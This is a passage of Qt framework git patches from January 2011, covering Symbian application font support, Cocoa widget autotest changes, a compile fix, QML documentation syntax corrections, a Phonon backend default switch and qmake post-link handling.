QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask()); + else #endif + QTRY_COMPARE(resizeChild.paintedRegion, QRegion()); resizeChild.paintedRegion = QRegion(); const QRegion oldMask = resizeChild.mask(); @@ -8986,10 +8992,11 @@ void tst_QWidget::setClearAndResizeMask() QTest::qWait(100); #ifdef Q_WS_MAC // Mac always issues a full update when calling setMask, and we cannot force it to not do so. - QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask()); -#else - QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask() - oldMask); + if (child.internalWinId()) + QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask()); + else #endif + QTRY_COMPARE(resizeChild.paintedRegion, resizeChild.mask() - oldMask); } void tst_QWidget::maskedUpdate() -- cgit v0.12 From 770fb729929764a1f1c5fbd3d54714cf811c81e0 Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Wed, 19 Jan 2011 13:16:13 +0100 Subject: Supporting Qt application fonts on Symbian This patch finally implements the missing application font support on Symbian. QFontDatabase's addApplicationFont[FromData], applicationFontFamilies and removeApplicationFont are now functional and allow an application to load, use and unload fonts at run-time. The underlying Symbian API comes with some restrictions/specialties. Most of them are worked around in this patch, the missing ones are left as part of QTBUG-16514: - The font file must be a file, not a memory buffer. Web fonts and qrc fonts come as memory buffers. These buffers are saved to a temporary .ttf file and the file is loaded by the underlying Symbian API. The temporary file can only be deleted after the font is unloaded. - The font file must be in a public location in order to be loadable by Symbian. It can for example not reside in the private application directory. Therefore, all application fonts (also those that are on the file system) become a temporary .ttf file in c:\temp\. - Symbian3/PR2 will come with a font table API which provides direct access to font tables. Symbian3/PR1 and below are missing this API, therefore, an own TFontStore is (ab)used to read font tables out of a font. This patch is considering both code paths in several occasions, making the Qt Symbian font implementation significantly less maintainable. - The fonts are loaded into Symbian's central font server. Loaded fonts from different processes can have colliding font typeface names (not file names) on that server. The server does not separate loaded fonts by their origin processes. Working around such collisions is part of QTBUG-16514. The number of fonts loadable at the same time by a Qt application is limited to the random value 5. Just to prevent abuse of the font server's memory. As usual, this patch was looked at by colleagues, and it was adjusted according to the feedback. But since the bus factor for the interaction of Qt's and Symbian's font systems is 1, I reviewed this patch, myself. Task-Number: QTBUG-6611 Autotest: tst_QFontDatabase::addAppFont --- src/gui/kernel/qapplication_s60.cpp | 4 +- src/gui/text/qfontdatabase.cpp | 16 +- src/gui/text/qfontdatabase_s60.cpp | 229 +++++++++++++++++++++++-- tests/auto/qfontdatabase/tst_qfontdatabase.cpp | 4 - 4 files changed, 225 insertions(+), 28 deletions(-) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index ba06312..40a7ec6 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1616,7 +1616,7 @@ void qt_init(QApplicationPrivate * /* priv */, int) qRegisterMetaType("WId"); } -extern void qt_cleanup_symbianFontDatabaseExtras(); // qfontdatabase_s60.cpp +extern void qt_cleanup_symbianFontDatabase(); // qfontdatabase_s60.cpp /***************************************************************************** qt_cleanup() - cleans up when the application is finished @@ -1630,7 +1630,7 @@ void qt_cleanup() QFontCache::cleanup(); // Has to happen now, since QFontEngineS60 has FBS handles QPixmapCache::clear(); // Has to happen now, since QS60PixmapData has FBS handles - qt_cleanup_symbianFontDatabaseExtras(); + qt_cleanup_symbianFontDatabase(); // S60 structure and window server session are freed in eventdispatcher destructor as they are needed there // It's important that this happens here, before the event dispatcher gets diff --git a/src/gui/text/qfontdatabase.cpp b/src/gui/text/qfontdatabase.cpp index 5cecf08..637957d 100644 --- a/src/gui/text/qfontdatabase.cpp +++ b/src/gui/text/qfontdatabase.cpp @@ -624,6 +624,10 @@ public: { } ~QFontDatabasePrivate() { free(); +#if defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) + if (symbianExtras) + delete symbianExtras; +#endif } QtFontFamily *family(const QString &f, bool = false); void free() { @@ -632,12 +636,6 @@ public: ::free(families); families = 0; count = 0; -#if defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) - if (symbianExtras) { - delete symbianExtras; - symbianExtras = 0; - } -#endif // don't clear the memory fonts! } @@ -653,6 +651,10 @@ public: QVector signatures; #elif defined(Q_WS_MAC) ATSFontContainerRef handle; +#elif defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) + QString temporaryFileName; + TInt screenDeviceFontFileId; + TUid fontStoreFontFileUid; #endif QStringList families; }; @@ -680,7 +682,7 @@ public: QDataStream *stream; QStringList fallbackFamilies; #elif defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) - const QSymbianFontDatabaseExtras *symbianExtras; + QSymbianFontDatabaseExtras *symbianExtras; #endif }; diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp index 6ba035e..e508810 100644 --- a/src/gui/text/qfontdatabase_s60.cpp +++ b/src/gui/text/qfontdatabase_s60.cpp @@ -45,6 +45,7 @@ #include "qfontengine_s60_p.h" #include "qabstractfileengine.h" #include "qdesktopservices.h" +#include "qtemporaryfile.h" #include #include #include "qendian.h" @@ -114,7 +115,14 @@ public: ~QSymbianFontDatabaseExtrasImplementation(); const QSymbianTypeFaceExtras *extras(const QString &typeface, bool bold, bool italic) const; - void addFontFileToFontStore(const QFileInfo &fontFileInfo); + void removeAppFontData(QFontDatabasePrivate::ApplicationFont *fnt); + static inline bool appFontLimitReached(); + TUid addFontFileToFontStore(const QFileInfo &fontFileInfo); + static void clear(); + + static inline QString tempAppFontFolder(); + static const QString appFontMarkerPrefix; + static QString appFontMarker(); // 'qaf' struct CFontFromFontStoreReleaser { static inline void cleanup(CFont *font) @@ -146,6 +154,33 @@ public: mutable QHash m_extrasHash; }; +const QString QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix = + QLatin1String("qaf"); + +inline QString QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder() +{ + return QDir::toNativeSeparators(QDir::tempPath()) + QLatin1Char('\\'); +} + +QString QSymbianFontDatabaseExtrasImplementation::appFontMarker() +{ + static QString result; + if (result.isEmpty()) { + const quint32 uid = RProcess().Type().MostDerived().iUid; + quint16 crossSum = static_cast(uid + (uid >> 16)); + if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { + // If no font table Api is available, we must not even load a font + // from a previous (crashed) run of this application. Reason: we + // won't get the font tables, they are not in the CFontStore. + // So, we add the pid to the uniqueness of the marker. + const quint32 pid = static_cast(RProcess().Id().Id()); + crossSum += static_cast(pid + (pid >> 16)); + } + result = appFontMarkerPrefix + QString::number(crossSum, 16); + } + return result; +} + QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementation() { if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { @@ -170,10 +205,13 @@ QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementati } } -void qt_cleanup_symbianFontDatabaseExtras() +void QSymbianFontDatabaseExtrasImplementation::clear() { + QFontDatabasePrivate *db = privateDb(); + if (!db) + return; const QSymbianFontDatabaseExtrasImplementation *dbExtras = - static_cast(privateDb()->symbianExtras); + static_cast(db->symbianExtras); if (!dbExtras) return; // initializeDb() has never been called if (QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { @@ -189,9 +227,32 @@ void qt_cleanup_symbianFontDatabaseExtras() dbExtras->m_extrasHash.clear(); } +void qt_cleanup_symbianFontDatabase() +{ + QFontDatabasePrivate *db = privateDb(); + if (!db) + return; + + QSymbianFontDatabaseExtrasImplementation::clear(); + + if (!db->applicationFonts.isEmpty()) { + QFontDatabase::removeAllApplicationFonts(); + // We remove the left over temporary font files of Qt application. + // Active fonts are undeletable since the font server holds a handle + // on them, so we do not need to worry to delete other running + // applications' fonts. + const QDir dir(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()); + const QStringList filter( + QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix + QLatin1String("*.ttf")); + foreach (const QFileInfo &ttfFile, dir.entryInfoList(filter)) + QFile(ttfFile.absoluteFilePath()).remove(); + db->applicationFonts.clear(); + } +} + QSymbianFontDatabaseExtrasImplementation::~QSymbianFontDatabaseExtrasImplementation() { - qt_cleanup_symbianFontDatabaseExtras(); + qt_cleanup_symbianFontDatabase(); if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { delete m_store; m_heap->Close(); @@ -263,12 +324,40 @@ const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(c return m_extrasHash.value(searchKey); } -void QSymbianFontDatabaseExtrasImplementation::addFontFileToFontStore(const QFileInfo &fontFileInfo) +void QSymbianFontDatabaseExtrasImplementation::removeAppFontData( + QFontDatabasePrivate::ApplicationFont *fnt) +{ + clear(); + if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable() + && fnt->fontStoreFontFileUid.iUid != 0) + m_store->RemoveFile(fnt->fontStoreFontFileUid); + if (fnt->screenDeviceFontFileId != 0) + S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId); + QFile::remove(fnt->temporaryFileName); + *fnt = QFontDatabasePrivate::ApplicationFont(); +} + +bool QSymbianFontDatabaseExtrasImplementation::appFontLimitReached() +{ + QFontDatabasePrivate *db = privateDb(); + if (!db) + return false; + const int maxAppFonts = 5; + int registeredAppFonts = 0; + foreach (const QFontDatabasePrivate::ApplicationFont &appFont, db->applicationFonts) + if (!appFont.families.isEmpty() && ++registeredAppFonts == maxAppFonts) + return true; + return false; +} + +TUid QSymbianFontDatabaseExtrasImplementation::addFontFileToFontStore(const QFileInfo &fontFileInfo) { Q_ASSERT(!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()); const QString fontFile = QDir::toNativeSeparators(fontFileInfo.absoluteFilePath()); - TPtrC fontFilePtr(qt_QString2TPtrC(fontFile)); - QT_TRAP_THROWING(m_store->AddFileL(fontFilePtr)); + const TPtrC fontFilePtr(qt_QString2TPtrC(fontFile)); + TUid fontUid = {0}; + TRAP_IGNORE(fontUid = m_store->AddFileL(fontFilePtr)); + return fontUid; } #else // QT_NO_FREETYPE @@ -331,9 +420,9 @@ void QFontEngineMultiS60::loadEngine(int at) Q_ASSERT(engines[at]); } -static bool addFontToScreenDevice(int screenDeviceFontIndex, - const QSymbianFontDatabaseExtrasImplementation *dbExtras) -{ +static bool registerScreenDeviceFont(int screenDeviceFontIndex, + const QSymbianFontDatabaseExtrasImplementation *dbExtras) +{ TTypefaceSupport typefaceSupport; S60->screenDevice()->TypefaceSupport(typefaceSupport, screenDeviceFontIndex); CFont *font; // We have to get a font instance in order to know all the details @@ -398,7 +487,12 @@ static void initializeDb() const QSymbianFontDatabaseExtrasImplementation *dbExtras = static_cast(db->symbianExtras); for (int i = 0; i < numTypeFaces; i++) - addFontToScreenDevice(i, dbExtras); + registerScreenDeviceFont(i, dbExtras); + + // We have to clear/release all CFonts, here, in case one of the fonts is + // an application font of another running Qt app. Otherwise the other Qt app + // cannot remove it's application font, anymore -> "Zombie Font". + QSymbianFontDatabaseExtrasImplementation::clear(); lock.relock(); @@ -423,18 +517,123 @@ static inline void load(const QString &family = QString(), int script = -1) static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt) { - Q_UNUSED(fnt); + if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()) + return; + + QFontDatabasePrivate *db = privateDb(); + if (!db) + return; + + if (!db->count) + initializeDb(); + + if (fnt->data.isEmpty() && !fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive)) + return; // Only buffer or .ttf + QSymbianFontDatabaseExtrasImplementation *dbExtras = + static_cast(db->symbianExtras); + if (!dbExtras) + return; + + // The QTemporaryFile object being used in the following section must be + // destructed before letting Symbian load the TTF file. Symbian would not + // load it otherwise, because QTemporaryFile will still keep some handle + // on it. The scope is used to reduce the life time of the QTemporaryFile. + // In order to prevent other processes from modifying the file between the + // moment where the QTemporaryFile is destructed and the file is loaded by + // Symbian, we have a QFile "tempFileGuard" outside the scope which opens + // the file in ReadOnly mode while the QTemporaryFile is still alive. + QFile tempFileGuard; + { + QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder() + + QSymbianFontDatabaseExtrasImplementation::appFontMarker() + + QLatin1String("XXXXXX.ttf")); + if (!tempfile.open()) + return; + const QString tempFileName = QFileInfo(tempfile).canonicalFilePath(); + if (fnt->data.isEmpty()) { + QFile sourceFile(fnt->fileName); + if (!sourceFile.open(QIODevice::ReadOnly)) + return; + fnt->data = sourceFile.readAll(); + } + if (tempfile.write(fnt->data) == -1) + return; + tempfile.setAutoRemove(false); + tempfile.close(); // Tempfile still keeps a file handle, forbidding write access + tempFileGuard.setFileName(tempFileName); + if (!tempFileGuard.open(QIODevice::ReadOnly)) + return; + fnt->temporaryFileName = tempFileName; + } + + const QString fullFileName = QDir::toNativeSeparators(fnt->temporaryFileName); + QSymbianFbsHeapLock lock(QSymbianFbsHeapLock::Unlock); + const QStringList fontsOnServerBefore = qt_symbian_fontFamiliesOnFontServer(); + const TInt err = + S60->screenDevice()->AddFile(qt_QString2TPtrC(fullFileName), fnt->screenDeviceFontFileId); + tempFileGuard.close(); // Did its job + const QStringList fontsOnServerAfter = qt_symbian_fontFamiliesOnFontServer(); + if (err == KErrNone && fontsOnServerBefore.count() < fontsOnServerAfter.count()) { // Added to screen device? + int fontOnServerIndex = fontsOnServerAfter.count() - 1; + for (int i = 0; i < fontsOnServerBefore.count(); i++) { + if (fontsOnServerBefore.at(i) != fontsOnServerAfter.at(i)) { + fontOnServerIndex = i; + break; + } + } + + // Must remove all font engines with their CFonts, first. + QFontCache::instance()->clear(); + db->free(); + QSymbianFontDatabaseExtrasImplementation::clear(); + + if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) + fnt->fontStoreFontFileUid = dbExtras->addFontFileToFontStore(QFileInfo(fullFileName)); + + fnt->families.append(fontsOnServerAfter.at(fontOnServerIndex)); + if (!registerScreenDeviceFont(fontOnServerIndex, dbExtras)) + dbExtras->removeAppFontData(fnt); + } else { + QFile::remove(fnt->temporaryFileName); + *fnt = QFontDatabasePrivate::ApplicationFont(); + } + lock.relock(); } bool QFontDatabase::removeApplicationFont(int handle) { - Q_UNUSED(handle); - return false; + QMutexLocker locker(fontDatabaseMutex()); + + QFontDatabasePrivate *db = privateDb(); + if (!db || handle < 0 || handle >= db->applicationFonts.count()) + return false; + QSymbianFontDatabaseExtrasImplementation *dbExtras = + static_cast(db->symbianExtras); + if (!dbExtras) + return false; + + QFontDatabasePrivate::ApplicationFont *fnt = &db->applicationFonts[handle]; + if (fnt->families.isEmpty()) + return true; // Nothing to remove. Return peacefully. + + // Must remove all font engines with their CFonts, first + QFontCache::instance()->clear(); + db->free(); + dbExtras->removeAppFontData(fnt); + + db->invalidate(); // This will just emit 'fontDatabaseChanged()' + return true; } bool QFontDatabase::removeAllApplicationFonts() { - return false; + QMutexLocker locker(fontDatabaseMutex()); + + const int applicationFontsCount = privateDb()->applicationFonts.count(); + for (int i = 0; i < applicationFontsCount; ++i) + if (!removeApplicationFont(i)) + return false; + return true; } bool QFontDatabase::supportsThreadedFontRendering() diff --git a/tests/auto/qfontdatabase/tst_qfontdatabase.cpp b/tests/auto/qfontdatabase/tst_qfontdatabase.cpp index ead000c..8b6f621 100644 --- a/tests/auto/qfontdatabase/tst_qfontdatabase.cpp +++ b/tests/auto/qfontdatabase/tst_qfontdatabase.cpp @@ -191,9 +191,6 @@ void tst_QFontDatabase::addAppFont_data() void tst_QFontDatabase::addAppFont() { -#ifdef Q_OS_SYMBIAN - QSKIP( "Symbian: Application fonts are not yet supported", SkipAll ); -#else QFETCH(bool, useMemoryFont); QSignalSpy fontDbChangedSpy(QApplication::instance(), SIGNAL(fontDatabaseChanged())); @@ -243,7 +240,6 @@ void tst_QFontDatabase::addAppFont() QCOMPARE(fontDbChangedSpy.count(), 2); QVERIFY(db.families() == oldFamilies); -#endif } QTEST_MAIN(tst_QFontDatabase) -- cgit v0.12 From 2a333975ce44546b18f306bf2b73b5a7e09616cc Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Wed, 19 Jan 2011 15:18:20 +0100 Subject: Cocoa: enable more autotests for qwidget as a result of Alien --- tests/auto/qwidget/tst_qwidget.cpp | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/tests/auto/qwidget/tst_qwidget.cpp b/tests/auto/qwidget/tst_qwidget.cpp index 8ee6f58..2208bea 100644 --- a/tests/auto/qwidget/tst_qwidget.cpp +++ b/tests/auto/qwidget/tst_qwidget.cpp @@ -2745,9 +2745,6 @@ void tst_QWidget::lostUpdatesOnHide() void tst_QWidget::raise() { -#ifdef QT_MAC_USE_COCOA - QSKIP("Cocoa has no Z-Order for views, we hack it, but it results in paint events.", SkipAll); -#endif QTest::qWait(10); QWidget *parent = new QWidget(0); QList allChildren; @@ -2772,6 +2769,12 @@ void tst_QWidget::raise() QTest::qWaitForWindowShown(parent); QTest::qWait(10); +#ifdef QT_MAC_USE_COCOA + if (child1->internalWinId()) { + QSKIP("Cocoa has no Z-Order for views, we hack it, but it results in paint events.", SkipAll); + } +#endif + QList list1; list1 << child1 << child2 << child3 << child4; QVERIFY(parent->children() == list1); @@ -2796,6 +2799,9 @@ void tst_QWidget::raise() foreach (UpdateWidget *child, allChildren) { int expectedPaintEvents = child == child2 ? 1 : 0; int expectedZOrderChangeEvents = child == child2 ? 1 : 0; +#ifdef QT_MAC_USE_COCOA + QSKIP("Not yet sure why this fails.", SkipSingle); +#endif QTRY_COMPARE(child->numPaintEvents, expectedPaintEvents); QCOMPARE(child->numZOrderChangeEvents, expectedZOrderChangeEvents); child->reset(); @@ -3046,9 +3052,6 @@ protected: void tst_QWidget::testContentsPropagation() { -#ifdef Q_WS_MAC - QSKIP("Pixmap is not antialiased whereas widget is.", SkipAll); -#endif ContentsPropagationWidget widget; #ifdef Q_WS_QWS widget.resize(500,500); -- cgit v0.12 From a2ebd9e3f84fb8fcd2be45e91a7c71f146961e23 Mon Sep 17 00:00:00 2001 From: Jason McDonald Date: Thu, 20 Jan 2011 00:39:44 +1000 Subject: Fix compilation error. Protect #include of feature-specific header in #ifdef. Task-number: QTBUG-16652 Reviewed-by: Trust Me Acked-by: Jani Hautakangas --- src/gui/painting/qdrawhelper.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/painting/qdrawhelper.cpp b/src/gui/painting/qdrawhelper.cpp index 9928dea..5904296 100644 --- a/src/gui/painting/qdrawhelper.cpp +++ b/src/gui/painting/qdrawhelper.cpp @@ -43,7 +43,9 @@ #include #include #include +#ifdef QT_HAVE_ARM_SIMD #include +#endif #include #include #include -- cgit v0.12 From 59a35a794e433f9526aff72025c0899e76ef362e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 19 Jan 2011 15:49:41 +0100 Subject: Doc: Fixed QML syntax. --- doc/src/getting-started/examples.qdoc | 6 ++-- src/declarative/graphicsitems/qdeclarativeitem.cpp | 32 ++++++++++++++-------- src/declarative/graphicsitems/qdeclarativepath.cpp | 6 ++-- 3 files changed, 27 insertions(+), 17 deletions(-) diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index 67000e2..296e032 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -488,10 +488,12 @@ \image ipc-examples.png \list - \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster - \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster + \o \l{ipc/localfortuneclient}{Local Fortune Client} + \o \l{ipc/localfortuneserver}{Local Fortune Server} \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster \endlist + + Examples marked with an asterisk (*) are fully documented. */ /*! diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 2e3a5a2..7ddf949 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) This example forwards key events to two lists: \qml - ListView { id: list1 ... } - ListView { id: list2 ... } - Keys.forwardTo: [list1, list2] - focus: true + Item { + ListView { + id: list1 + // ... + } + ListView { + id: list2 + // ... + } + Keys.forwardTo: [list1, list2] + focus: true + } \endqml */ @@ -2542,14 +2550,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi This property is often used in scripts to change between states. For example: - \qml - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endqml + \js + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; + } + \endjs If the item is in its base state (i.e. no explicit state has been set), \c state will be a blank string. Likewise, you can return an diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index bc395d2..48e3f66 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \qml PathView { - ... + // ... Path { startX: 0; startY: 0 PathLine { x:100; y: 0; } -- cgit v0.12 From 25ac59fcf1bb03c9af9a2c967218c96c7c77361a Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Wed, 19 Jan 2011 18:49:34 +0100 Subject: Do not load aplication fonts on Symbian^1 and below read http://bugreports.qt.nokia.com/browse/QTBUG-16514 for a recipy to reboot the phone just by handling with fonts. Symbian^1 is vulnerable, and Symbain^3 prevents a phone reboot. Therefore, I prefer to disable the app font feature for Symbian^1, until QTBUG-16514 us properly handled. Task-Number: QTBUG-16514 --- src/gui/text/qfontdatabase_s60.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp index e508810..06462c4 100644 --- a/src/gui/text/qfontdatabase_s60.cpp +++ b/src/gui/text/qfontdatabase_s60.cpp @@ -517,6 +517,9 @@ static inline void load(const QString &family = QString(), int script = -1) static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt) { + if (QSysInfo::symbianVersion() <= QSysInfo::SV_SF_2) + return; // See QTBUG-16514 for what 'font collisions' can cause in Symbian^1 and lower + if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()) return; -- cgit v0.12 From 808de6fd2f9835c28986b86de829579196b6163d Mon Sep 17 00:00:00 2001 From: Gareth Stockwell Date: Wed, 19 Jan 2011 18:31:38 +0000 Subject: Switch default Phonon backend on Symbian from Helix to MMF If both plugins are present on a device, the MMF backend is now loaded by default. Task-number: QT-4472 Reviewed-by: Justin McPherson --- src/3rdparty/phonon/phonon/factory.cpp | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) diff --git a/src/3rdparty/phonon/phonon/factory.cpp b/src/3rdparty/phonon/phonon/factory.cpp index 2785dff..b5e565b 100644 --- a/src/3rdparty/phonon/phonon/factory.cpp +++ b/src/3rdparty/phonon/phonon/factory.cpp @@ -137,21 +137,15 @@ bool FactoryPrivate::createBackend() QStringList plugins(dir.entryList(QDir::Files)); #ifdef Q_OS_SYMBIAN - /* On Symbian OS we might have two plugins, one which uses Symbian - * MMF framework("mmf"), and one which uses Real Networks's - * Helix("hxphonon"). We prefer the latter because it's more - * sophisticated, so we make sure the Helix backend is attempted - * to be loaded first, and the MMF backend is used for backup. */ - { - const int helix = plugins.indexOf(QLatin1String("hxphonon")); - if (helix != -1) - plugins.move(helix, 0); - } + static const QString preferredPluginName = QLatin1String("phonon_mmf"); + const int preferredPluginIndex = plugins.indexOf(preferredPluginName + ".qtplugin"); + if (preferredPluginIndex != -1) + plugins.move(preferredPluginIndex, 0); #endif const QStringList files = dir.entryList(QDir::Files); - for (int i = 0; i < files.count(); ++i) { - QPluginLoader pluginLoader(libPath + files.at(i)); + for (int i = 0; i < plugins.count(); ++i) { + QPluginLoader pluginLoader(libPath + plugins.at(i)); if (!pluginLoader.load()) { pDebug() << Q_FUNC_INFO << " load failed:" << pluginLoader.errorString(); -- cgit v0.12 From 9fec1802952457178a9b31c55b4c6e3ea60fcb80 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Thu, 20 Jan 2011 13:58:58 +0200 Subject: Improved QMAKE_POST_LINK support in symbian-sbsv2 QMAKE_POST_LINK value handling now uses the same automatic replacements as QMAKE_EXTRA_COMPILERS and QMAKE_EXTRA_TARGETS handling. In practice this means that it is now possible to use $$QMAKE_COPY and friends in QMAKE_POST_LINK value also with symbian-sbsv2 mkspec, and that any backslashes in the value are assumed to be path separators and will be converted to forward slashes. Task-number: QTBUG-16753 Reviewed-by: Janne Koskinen --- qmake/generators/symbian/symmake_sbsv2.cpp | 56 ++++++++++++++++++------------ 1 file changed, 34 insertions(+), 22 deletions(-) diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp index 47c5b31..6d01523 100644 --- a/qmake/generators/symbian/symmake_sbsv2.cpp +++ b/qmake/generators/symbian/symmake_sbsv2.cpp @@ -72,6 +72,35 @@ static QString sbsRvctPrefix; extern char **environ; #endif +static void fixFlmCmd(QString *cmdLine, const QMap &commandsToReplace) +{ + // If commandItem starts with any $$QMAKE_* commands, do a replace for SBS equivalent. + // Command replacement is done only for the start of the command or right after + // concatenation operators (&& and ||), as otherwise unwanted replacements might occur. + static QString cmdFind(QLatin1String("(^|&&\\s*|\\|\\|\\s*)%1")); + static QString cmdReplace(QLatin1String("\\1%1")); + + // $$escape_expand(\\n\\t) doesn't work for bld.inf files, but is often used as command + // separator, so replace it with "&&" command concatenator. + cmdLine->replace("\n\t", "&&"); + + // Iterate command replacements in reverse alphabetical order of keys so + // that keys which are starts of other longer keys are iterated after longer keys. + QMapIterator cmdIter(commandsToReplace); + cmdIter.toBack(); + while (cmdIter.hasPrevious()) { + cmdIter.previous(); + if (cmdLine->contains(cmdIter.key())) + cmdLine->replace(QRegExp(cmdFind.arg(cmdIter.key())), cmdReplace.arg(cmdIter.value())); + } + + // Sbsv2 toolchain strips all backslashes (even double ones) from option parameters, so just + // assume all backslashes are directory separators and replace them with slashes. + // Problem: If some command actually needs backslashes for something else than dir separator, + // we are out of luck. + cmdLine->replace("\\", "/"); +} + // Copies Qt FLMs to correct location under epocroot. // This is not done by configure as it is possible to change epocroot after configure. void SymbianSbsv2MakefileGenerator::exportFlm() @@ -563,12 +592,6 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t commandsToReplace.insert(project->values("QMAKE_DEL_TREE").join(" "), project->values("QMAKE_SBSV2_DEL_TREE").join(" ")); - // If commandItem starts with any $$QMAKE_* commands, do a replace for SBS equivalent - // Command replacement is done only for the start of the command or right after - // concatenation operators (&& and ||), as otherwise unwanted replacements might occur. - static QString cmdFind("(^|&&\\s*|\\|\\|\\s*)%1"); - static QString cmdReplace("\\1%1"); - // Write extra compilers and targets to initialize QMAKE_ET_* variables // Cache results to avoid duplicate calls when creating wrapper makefile QTextStream extraCompilerStream(&extraCompilersCache); @@ -623,26 +646,13 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t t << "OPTION PREDEP_TARGET " << absoluteTarget << endl; t << "OPTION DEPS " << absoluteDeps << endl; - // Iterate command replacements in reverse alphabetical order of keys so - // that keys which are starts of other longer keys are iterated after longer keys. - QMapIterator cmdIter(commandsToReplace); - cmdIter.toBack(); - while (cmdIter.hasPrevious()) { - cmdIter.previous(); - if (commandItem.contains(cmdIter.key())) { - commandItem.replace(QRegExp(cmdFind.arg(cmdIter.key())), - cmdReplace.arg(cmdIter.value())); - } - } - if (commandItem.indexOf("$(INCPATH)") != -1) commandItem.replace("$(INCPATH)", incPath.join(" ")); if (commandItem.indexOf("$(DEFINES)") != -1) commandItem.replace("$(DEFINES)", defines.join(" ")); - // Sbsv2 strips all backslashes (even doubles ones) from option parameters, so just replace them with slashes - // Problem: If some command actually needs backslashes for something else than dir separator, we are out of luck... - commandItem.replace("\\", "/"); + fixFlmCmd(&commandItem, commandsToReplace); + t << "OPTION COMMAND " << commandItem << endl; t << "END" << endl; } @@ -672,8 +682,10 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t // Write post link rules if (!project->isEmpty("QMAKE_POST_LINK")) { + QString postLinkCmd = var("QMAKE_POST_LINK"); + fixFlmCmd(&postLinkCmd, commandsToReplace); t << "START EXTENSION qt/qmake_post_link" << endl; - t << "OPTION POST_LINK_CMD " << var("QMAKE_POST_LINK") << endl; + t << "OPTION POST_LINK_CMD " << postLinkCmd << endl; t << "OPTION LINK_TARGET " << removePathSeparators(escapeFilePath(fileFixify(project->first("TARGET"))).append(".").append(getTargetExtension())) << endl; t << "END" << endl; t << endl; -- cgit v0.12 From 5e5e16fd7107334e10939592170fc322cfa86da9 Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Thu, 20 Jan 2011 12:35:20 +0100 Subject: Cocoa/Alien: let QWidget::scroll_sys handle overlapping widgets --- src/gui/kernel/qcocoaview_mac.mm | 5 